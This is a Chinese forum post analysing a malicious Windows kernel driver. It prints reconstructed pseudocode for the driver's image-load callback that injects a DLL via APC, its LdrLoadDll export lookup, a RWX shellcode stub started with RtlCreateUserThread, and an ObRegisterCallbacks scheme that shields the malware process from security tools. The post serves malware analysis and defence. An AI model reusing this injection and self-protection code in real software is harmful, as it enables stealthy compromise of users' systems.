-
-
[原创]一个恶意驱动的逆向分析
-
发表于: 8小时前 167
-
关于病毒的一个驱动分析报告
写这篇报告的主要目的是分析最近的一个驱动样本
架构分析
该恶意样本是一个复杂的内核模式攻击框架,集成了多层级系统回调机制和混合注入技术。通过逆向分析发现,其核心架构基于Windows内核回调系统构建,采用"主动+被动"双重攻击模式确保攻击可靠性。


技术详细分析(静态分析)
被动进程回调注入
通过逆向发现,该样本注册PsSetLoadImageNotifyRoutine回调函数,这是Windows内核提供的合法接口,允许驱动程序在系统加载任何可执行映像(DLL或EXE)到进程地址空间时获得通知。
当系统加载器(通常是ntdll.dll中的LdrLoadDll或系统启动时的映像加载)准备将PE文件映射到进程地址空间时,内核会遍历已注册的回调链表,依次调用每个回调函数。这一机制原本用于防病毒软件和系统监控工具,但被恶意软件滥用用于检测特定DLL加载时机。

恶意利用:本样本在回调函数中执行以下检测逻辑:
检查加载的映像路径是否包含\System32\或\SysWOW64\字符串,用于判断系统DLL加载
通过PsGetProcessWow64Process判断当前进程是32位还是64位环境
当检测到explorer.exe、taskmgr.exe或perfmon.exe加载系统DLL时,触发注入流程
下面是部分伪代码表示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | void __fastcall NotifyRoutine(__int64 FullImageName, __int64 ProcessId, __int64 ImageInfo){ __int64 currentIrql; PEPROCESS currentProcess; BOOLEAN isWow64Process; PEPROCESS targetProcess; BOOLEAN shouldInject; NTSTATUS status; __int64 lastBackslashPos; __int64 ldrLoadDllAddr; __int64 securityCookie; PEPROCESS processObject = NULL; PFILE_OBJECT fileObject = NULL; PUNICODE_STRING dosName = NULL; // 硬编码的字符串数组 WCHAR system32Path[] = L"\\System32\\"; WCHAR syswow64Path[] = L"\\SysWOW64\\"; // 检查进程ID是否为有效值(排除0和3等特殊进程) if (ProcessId != 0 && ProcessId != 3) { // 必须在PASSIVE_LEVEL IRQL且不是签名映像(避免检查已签名的系统文件) currentIrql = KeGetCurrentIrql(); if (currentIrql == 0 && (*(DWORD*)ImageInfo & 0x100) == 0) { if (FullImageName) { // 获取映像路径字符串 PWCH imagePath = *(PWCH*)(FullImageName + 8); if (imagePath) { // 检查是否加载System32目录下的DLL if (wcsstr(imagePath, system32Path)) { // 获取当前进程(调用者进程) currentProcess = IoGetCurrentProcess(); // 检查当前进程是否是32位进程(WoW64) if (PsGetProcessWow64Process(currentProcess)) { isWow64Process = TRUE; // 是32位进程 goto CHECK_PROCESS; // 跳转到进程检查 } } // 检查是否加载SysWOW64目录下的DLL(32位系统目录) if (wcsstr(imagePath, syswow64Path)) { // 获取当前进程 targetProcess = IoGetCurrentProcess(); // 检查当前进程是否是64位进程(不是WoW64) if (!PsGetProcessWow64Process(targetProcess)) { isWow64Process = FALSE; // 是64位进程 CHECK_PROCESS: // 初始化变量 processObject = NULL; fileObject = NULL; shouldInject = FALSE; dosName = NULL; // 通过进程ID获取进程对象 status = PsLookupProcessByProcessId((HANDLE)ProcessId, &processObject); if (NT_SUCCESS(status)) { // 获取进程对应的文件对象(可执行文件) status = PsReferenceProcessFilePointer(processObject, &fileObject); if (NT_SUCCESS(status)) { // 获取文件的DOS设备名(如\Device\HarddiskVolume1\...) IoQueryFileDosDeviceName(fileObject, &dosName); // 递减文件对象引用计数 ObfDereferenceObject(fileObject); } // 如果成功获取DOS设备名 if (dosName) { // 在路径中查找最后一个反斜杠 lastBackslashPos = FindLastDash(dosName->Buffer, L'\\'); if (lastBackslashPos != -1) { // 获取文件名部分(反斜杠后的字符串) PWCH fileName = (PWCH)(dosName->Buffer + (lastBackslashPos + 1)); // 检查是否是目标进程 if (_wcsicmp(fileName, L"explorer.exe") == 0 || _wcsicmp(fileName, L"taskmgr.exe") == 0 || _wcsicmp(fileName, L"perfmon.exe") == 0) { shouldInject = TRUE; // 标记需要注入 } } // 释放DOS设备名字符串缓冲区 ExFreePoolWithTag(dosName, 0); } // 递减进程对象引用计数 ObfDereferenceObject(processObject); // 如果需要注入 if (shouldInject) { // 在已加载的映像中查找LdrLoadDll函数地址 // ImageInfo + 8 可能是映像基址 ldrLoadDllAddr = FindLdrLoadDll(*(__int64*)(ImageInfo + 8), "LdrLoadDll"); // 只对64位进程进行注入(!isWow64Process) if (!isWow64Process) { // 执行APC注入,注入特定DLL ApcInject(ProcessId, L"C:\\ProgramData\\DiamondAge\\diamondage.dll", ldrLoadDllAddr, NULL); } } } } } } } } // 安全cookie检查(栈保护) sub_140002350((unsigned __int64)&securityCookie ^ v22); }} |
同时,该样本采用APC注入目标进程

在这个样本中,调用的FindLdrLoadDll函数还原如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | unsigned __int64 __fastcall FindLdrLoadDll(unsigned __int64 moduleBase, __int64 functionName){ __int64 result; // rdi __int64 ntHeaderOffset; // rdx __int16 magic; // r8 __int64 optionalHeaderPtr; // rax __int64 exportDirectoryOffset; // rcx __int64 dataDirectoryPtr; // rax IMAGE_DATA_DIRECTORY* exportDirectory; // rsi unsigned __int64 exportAddressTable; // r13 unsigned __int64 exportNameTable; // rcx __int64 i; // r15 unsigned __int64 currentFunctionName; // r12 __int64 nameLength; // rax __int64 nameLength2; // rax __int64 nameLength3; // rax unsigned __int64 exportOrdinalTable; // [rsp+20h] [rbp-68h] unsigned __int64 nameTableCopy; // [rsp+A8h] [rbp+20h] // 参数检查:模块基址和函数名不能为空 if (!moduleBase || !functionName) return 0LL; result = 0LL; // 解析PE头结构 // 获取NT头的偏移(e_lfanew) ntHeaderOffset = *(int *)(moduleBase + 60); // DOS头中的e_lfanew // 获取可选头魔法值(IMAGE_NT_HEADERS->OptionalHeader.Magic) magic = *(_WORD *)(ntHeaderOffset + moduleBase + 4 + 16); // 4为Signature大小,16为FileHeader大小 // 计算可选头指针位置 optionalHeaderPtr = ntHeaderOffset + moduleBase + 24; // 24 = sizeof(DOS_HEADER) + 4 exportDirectoryOffset = 0LL; // 根据PE类型(32位或64位)调整导出表目录的偏移 // 332 = IMAGE_NT_OPTIONAL_HDR64_MAGIC (0x20b) if (magic != 0x20B) // 不是64位PE,可能是32位PE exportDirectoryOffset = optionalHeaderPtr; if (exportDirectoryOffset) { // 64位PE:DataDirectory在可选头末尾 dataDirectoryPtr = exportDirectoryOffset + 112; // 112 = sizeof(IMAGE_OPTIONAL_HEADER64) - 128 } else { // 32位PE或其他情况 dataDirectoryPtr = ntHeaderOffset + moduleBase + 120; // 32位PE的DataDirectory位置 if (magic != 0x20B) dataDirectoryPtr = 96LL; // 某些特殊情况 } exportDirectory = (IMAGE_DATA_DIRECTORY *)(moduleBase + *(unsigned int *)dataDirectoryPtr); if (exportDirectory) { exportAddressTable = moduleBase + (unsigned int)exportDirectory[8]; // AddressOfFunctions exportNameTable = moduleBase + (unsigned int)exportDirectory[9]; // AddressOfNames nameTableCopy = exportNameTable; exportOrdinalTable = moduleBase + (unsigned int)exportDirectory[10]; // AddressOfNameOrdinals // 遍历所有导出函数名 for (i = 0LL; (unsigned int)i < exportDirectory[7]; i = (unsigned int)(i + 1)) // NumberOfNames { // 获取当前函数名的RVA并转换为VA currentFunctionName = moduleBase + *(unsigned int *)(exportNameTable + 4 * i); // 检查当前地址是否在用户空间且有效(内核模式下的安全访问) if (moduleBase >= MmUserProbeAddress) // 如果模块基址在用户空间之上(内核空间) { _mm_lfence(); // 内存屏障,确保内存读取顺序 // 验证函数名字符串地址的有效性 if ((unsigned __int8)MmIsAddressValid(moduleBase + *(unsigned int *)(exportNameTable + 4 * i))) { _mm_lfence(); // 计算函数名长度 nameLength2 = strlen((const char *)functionName); // 验证函数名字符串结束地址的有效性 if ((unsigned __int8)MmIsAddressValid(nameLength2 + currentFunctionName)) { _mm_lfence(); // 再次计算长度并进行不区分大小写的比较 nameLength3 = strlen((const char *)functionName); if (!(unsigned int)_strnicmp((const char *)functionName, (const char *)currentFunctionName, nameLength3) && !*(_BYTE *)(strlen((const char *)functionName) + currentFunctionName)) // 检查字符串结束符 { _mm_lfence(); // 找到匹配的函数名,返回对应的函数地址 // 使用序号表查找对应的函数地址索引 // 公式:函数地址 = moduleBase + EAT[序号] // 序号 = EOT[i] (从序号表获取) return moduleBase + *(unsigned int *)(exportAddressTable + 4LL * (exportDirectory[5] + // Base (起始序号) (unsigned int)*(unsigned __int16 *)(exportOrdinalTable + 2LL * (unsigned int)i) - 1)); } } } exportNameTable = nameTableCopy; // 恢复nameTable指针 } else // 模块在用户空间 { _mm_lfence(); // 内存屏障 // 直接进行字符串比较(假设用户空间访问安全) nameLength = strlen((const char *)functionName); if (!(unsigned int)_strnicmp((const char *)functionName, (const char *)currentFunctionName, nameLength) && !*(_BYTE *)(strlen((const char *)functionName) + currentFunctionName)) { _mm_lfence(); return moduleBase + *(unsigned int *)(exportAddressTable + 4LL * *(unsigned __int16 *)(exportOrdinalTable + 2LL * (unsigned int)i)); } exportNameTable = nameTableCopy; // 恢复nameTable指针 } } } return result; // 没找到,返回0} |
主动远线程注入
样本使用CreateSystemThread在内核地址空间创建系统线程,这是与用户模式线程完全不同的执行上下文。

CreateSystemThread创建的系统线程运行在内核模式,没有关联的用户进程上下文。这意味着:线程在系统进程(System,PID 4)的上下文中执行,具有内核最高权限(IRQL PASSIVE_LEVEL),不受用户进程生命周期影响,传统用户模式安全产品无法监控其执行
与传统被动注入不同,样本采用主动攻击模式,枚举运行中的进程,寻找explorer.exe,使用KeStackAttachProcess将当前线程附加到目标进程地址空间,进而注入explorer的上下文
下面还原了部分伪代码
shellcode 分析
该样本主动注入shellcode到目标进程,实现了无文件落地,下面给出分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | // 准备Shellcode模板 // ymmword_140004088等是预定义的Shellcode数据模板 ShellcodeTemplate = ymmword_140004088; // Shellcode主体 // 设置Shellcode中的参数: // 将DLL路径UNICODE_STRING指针放入Shellcode模板 *((__int64*)&ShellcodeTemplate + 3) = (__int64)DllPathUnicodeString; // 将返回值内存指针放入Shellcode模板 *((__int64*)&ShellcodeTemplate + 5) = (__int64)ReturnValueMemory; // 保存LdrLoadDll地址到局部变量 LdrLoadDllPointer = LdrLoadDllAddr; // 将Shellcode模板复制到分配的内存 ShellcodeBuffer = (__m256*)ShellcodeMemory; *ShellcodeBuffer = ShellcodeTemplate; // 设置Shellcode中的函数地址和其他字段 // 这里将LdrLoadDll地址写入Shellcode的特定位置 *(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllPointer; // 偏移0x20 // 设置其他未知字段(可能是调用约定或参数信息) *(PULONG)((PBYTE)ShellcodeBuffer + 0x28) = dword_1400040B0; *(PUSHORT)((PBYTE)ShellcodeBuffer + 0x2C) = word_1400040B4; *(PUCHAR)((PBYTE)ShellcodeBuffer + 0x2E) = byte_1400040B6; |
IDA里看到,4883EC284831C94831D249B8000000000000000049B9000000000000000048B8是 ymmword_140004088等是预定义的Shellcode数据模板
我们把其反汇编
1 2 3 4 5 6 | 48 83 EC 28 sub rsp, 28h 48 31 C9 xor rcx, rcx 48 31 D2 xor rdx, rdx 49 B8 00 00 00 00 00 00 00 00 mov r8, 0 49 B9 00 00 00 00 00 00 00 00 mov r9, 0 48 B8 00 00 00 00 00 00 00 00 mov rax, 0 |
在ActiveInjectDll函数中,Shellcode被这样修改:
1 2 3 4 5 6 7 | // 复制Shellcode模板到目标进程内存*ShellcodeBuffer = ShellcodeTemplate; // 复制前32字节// 修改数据段(后32字节)*(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllAddr; // 偏移0x20: 函数地址*(PULONG64)((PBYTE)ShellcodeBuffer + 0x28) = (ULONG64)DllPathUnicodeString; // DLL路径*(PULONG64)((PBYTE)ShellcodeBuffer + 0x30) = (ULONG64)ReturnValueMemory; // 返回值地址 |
伪代码分析
下面给出了ActiveInjectDll的伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 | __int64 __fastcall ActiveInjectDll(__int64 TargetEprocess, __int64 DllPath){ BOOLEAN IsWow64Process; // r8 __int64 result; // rax __int64 LdrLoadDllAddr; // rsi - LdrLoadDll函数地址 NTSTATUS status; // edi - 状态码 __int16 DllPathLength; // ax - DLL路径长度 int field_unknown1; // ecx __int16 field_unknown2; // dx char field_unknown3; // r8 __m256 *ShellcodeBuffer; // rax // RtlCreateUserThread函数指针 __int64 (__fastcall *RtlCreateUserThread)(__int64, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, __m256 *, _QWORD, __int64 *, __int128 *); // 局部变量 SIZE_T AllocationSize; // [rsp+68h] [rbp-D0h] BYREF - 分配大小 PUNICODE_STRING DllPathUnicodeString; // [rsp+70h] [rbp-C8h] BYREF - DLL路径UNICODE_STRING HANDLE ProcessHandle; // [rsp+78h] [rbp-C0h] BYREF - 进程句柄 PVOID ShellcodeMemory; // [rsp+80h] [rbp-B8h] BYREF - Shellcode内存 PVOID ReturnValueMemory; // [rsp+88h] [rbp-B0h] BYREF - 返回值内存 HANDLE ThreadHandle; // [rsp+90h] [rbp-A8h] BYREF - 线程句柄 CLIENT_ID ClientId; // [rsp+98h] [rbp-A0h] BYREF - 客户端ID __m256 ShellcodeTemplate; // [rsp+A8h] [rbp-90h] - Shellcode模板 __int64 LdrLoadDllPointer; // [rsp+C8h] [rbp-70h] - LdrLoadDll指针 CHAR RoutineName[16]; // [rsp+D8h] [rbp-60h] BYREF - 函数名 KAPC_STATE ApcState; // [rsp+E8h] [rbp-50h] BYREF - APC状态 // 初始化局部变量 ShellcodeMemory = NULL; DllPathUnicodeString = NULL; ReturnValueMemory = NULL; AllocationSize = 0; ThreadHandle = NULL; ProcessHandle = NULL; // 检查目标进程是否是WoW64进程(32位进程) if (PsGetProcessWow64Process(TargetEprocess)) return STATUS_INVALID_PARAMETER; // 0xC00000FB = 3221225659 IsWow64Process = FALSE; // 在目标进程中获取LdrLoadDll函数地址 LdrLoadDllAddr = GetFunctionAddressByName(TargetEprocess, "LdrLoadDll", IsWow64Process); if (!LdrLoadDllAddr) return STATUS_NOT_FOUND; // 0xC0000225 = 3221226021 // 通过EPROCESS指针打开进程句柄 result = ObOpenObjectByPointer(TargetEprocess, 512LL, // HandleAttributes (OBJ_KERNEL_HANDLE) 0LL, // PassedAccessState 0x1FFFFFLL, // DesiredAccess (PROCESS_ALL_ACCESS) PsProcessType, // ObjectType 0, // AccessMode (KernelMode) &ProcessHandle); _mm_lfence(); // 内存屏障 if (NT_SUCCESS(result)) { // 附加到目标进程的地址空间 KeStackAttachProcess(TargetEprocess, &ApcState); // 分配第一块内存:用于Shellcode(代码执行) AllocationSize = 4096; // PAGE_SIZE status = ZwAllocateVirtualMemory((HANDLE)-1, // ProcessHandle (当前进程) &ShellcodeMemory, // BaseAddress 0LL, // ZeroBits &AllocationSize, // RegionSize MEM_COMMIT, // AllocationType (0x3000 = 12288) PAGE_EXECUTE_READWRITE); // Protect (0x40 = 64) if (status >= 0) // NT_SUCCESS { // 分配第二块内存:用于DLL路径字符串 AllocationSize = 4096; status = ZwAllocateVirtualMemory((HANDLE)-1, &DllPathUnicodeString, 0LL, &AllocationSize, MEM_COMMIT, PAGE_READWRITE); // 0x4 = 4 if (status >= 0) { // 分配第三块内存:用于返回值(DLL基址) AllocationSize = 8; status = ZwAllocateVirtualMemory((HANDLE)-1, &ReturnValueMemory, 0LL, &AllocationSize, MEM_COMMIT, PAGE_READWRITE); if (status >= 0) { // 计算DLL路径长度并创建UNICODE_STRING结构 DllPathLength = wcslen((PWSTR)DllPath); // 构建UNICODE_STRING结构: UNICODE_STRING DllPathString; DllPathString.Length = 2 * DllPathLength; // 字节长度 DllPathString.MaximumLength = 2 * DllPathLength + 2; // 包括终止符 DllPathString.Buffer = (PWSTR)((PBYTE)DllPathUnicodeString + 1); // +1可能是对齐调整 // 将UNICODE_STRING结构复制到分配的内存 *DllPathUnicodeString = *(PUNICODE_STRING)&DllPathString; // 复制DLL路径字符串到目标进程 sub_1400023C0((PBYTE)DllPathUnicodeString + 1, // 目标地址 DllPath, // 源地址 2 * DllPathLength + 2); // 复制长度 // 准备Shellcode模板 // ymmword_140004088等是预定义的Shellcode数据模板 ShellcodeTemplate = ymmword_140004088; // Shellcode主体 // 设置Shellcode中的参数: // 将DLL路径UNICODE_STRING指针放入Shellcode模板 *((__int64*)&ShellcodeTemplate + 3) = (__int64)DllPathUnicodeString; // 将返回值内存指针放入Shellcode模板 *((__int64*)&ShellcodeTemplate + 5) = (__int64)ReturnValueMemory; // 保存LdrLoadDll地址到局部变量 LdrLoadDllPointer = LdrLoadDllAddr; // 将Shellcode模板复制到分配的内存 ShellcodeBuffer = (__m256*)ShellcodeMemory; *ShellcodeBuffer = ShellcodeTemplate; // 设置Shellcode中的函数地址和其他字段 // 这里将LdrLoadDll地址写入Shellcode的特定位置 *(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllPointer; // 偏移0x20 // 设置其他未知字段(可能是调用约定或参数信息) *(PULONG)((PBYTE)ShellcodeBuffer + 0x28) = dword_1400040B0; *(PUSHORT)((PBYTE)ShellcodeBuffer + 0x2C) = word_1400040B4; *(PUCHAR)((PBYTE)ShellcodeBuffer + 0x2E) = byte_1400040B6; } } } // 从目标进程分离 KeUnstackDetachProcess(&ApcState); // 如果内存分配和设置成功 if (status >= 0) { // 获取RtlCreateUserThread函数地址 RtlInitUnicodeString((PUNICODE_STRING)RoutineName, L"RtlCreateUserThread"); RtlCreateUserThread = (__int64 (__fastcall *)(__int64, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, __m256 *, _QWORD, __int64 *, __int128 *)) MmGetSystemRoutineAddress((PUNICODE_STRING)RoutineName); if (RtlCreateUserThread) { // 初始化ClientId ClientId = (CLIENT_ID){0}; // 在目标进程中创建远程线程,执行Shellcode status = RtlCreateUserThread(ProcessHandle, // ProcessHandle 0LL, // SecurityDescriptor 0LL, // CreateSuspended (FALSE) 0LL, // StackZeroBits 0LL, // StackReserve 0LL, // StackCommit ShellcodeMemory, // StartAddress (Shellcode地址) 0LL, // StartParameter &ThreadHandle, // ThreadHandle &ClientId); // ClientId if (status >= 0) { if (ThreadHandle) ZwClose(ThreadHandle); } } else { status = STATUS_ENTRYPOINT_NOT_FOUND; // 0xC0000139 = -1073741637 } } else { _mm_lfence(); // 内存屏障 } // 关闭进程句柄 ZwClose(ProcessHandle); return status; } return result;} |
句柄降权回调(ObRegisterCallbacks)
样本使用ObRegisterCallback注册对象管理器回调,这是Windows对象管理器提供的强大机制,允许驱动程序监控和拦截进程、线程句柄操作。

通过回调函数发现,驱动对同名的diamondage.exe进行了进程保护,通过此机制,恶意驱动可以:防止安全工具获取PROCESS_TERMINATE权限来终止恶意进程,阻止调试器获取PROCESS_VM_READ/WRITE权限来读取或修改恶意进程内存,监控对特定进程的句柄操作,实现早期预警
总结
该样本为内核级攻击框架,通过注册PsSetLoadImageNotifyRoutine回调监控系统DLL加载,并利用ObRegisterCallback对自身进程实施句柄降权保护,阻止安全工具扫描或终止。核心采用CreateSystemThread创建内核线程,主动枚举并附加至explorer.exe等高权限进程,结合APC注入与RtlCreateUserThread双重技术植入恶意DLL。其通过内核级操作、动态上下文切换及信任链滥用,全面规避用户模式检测机制,实现了深度隐蔽的持久化.
技术动态分析
通过手动加载恶意驱动,笔者成功复现了dll的注入



同时,复现了进程保护

说在最后
这是恶意软件的pdb路径

欢迎提出意见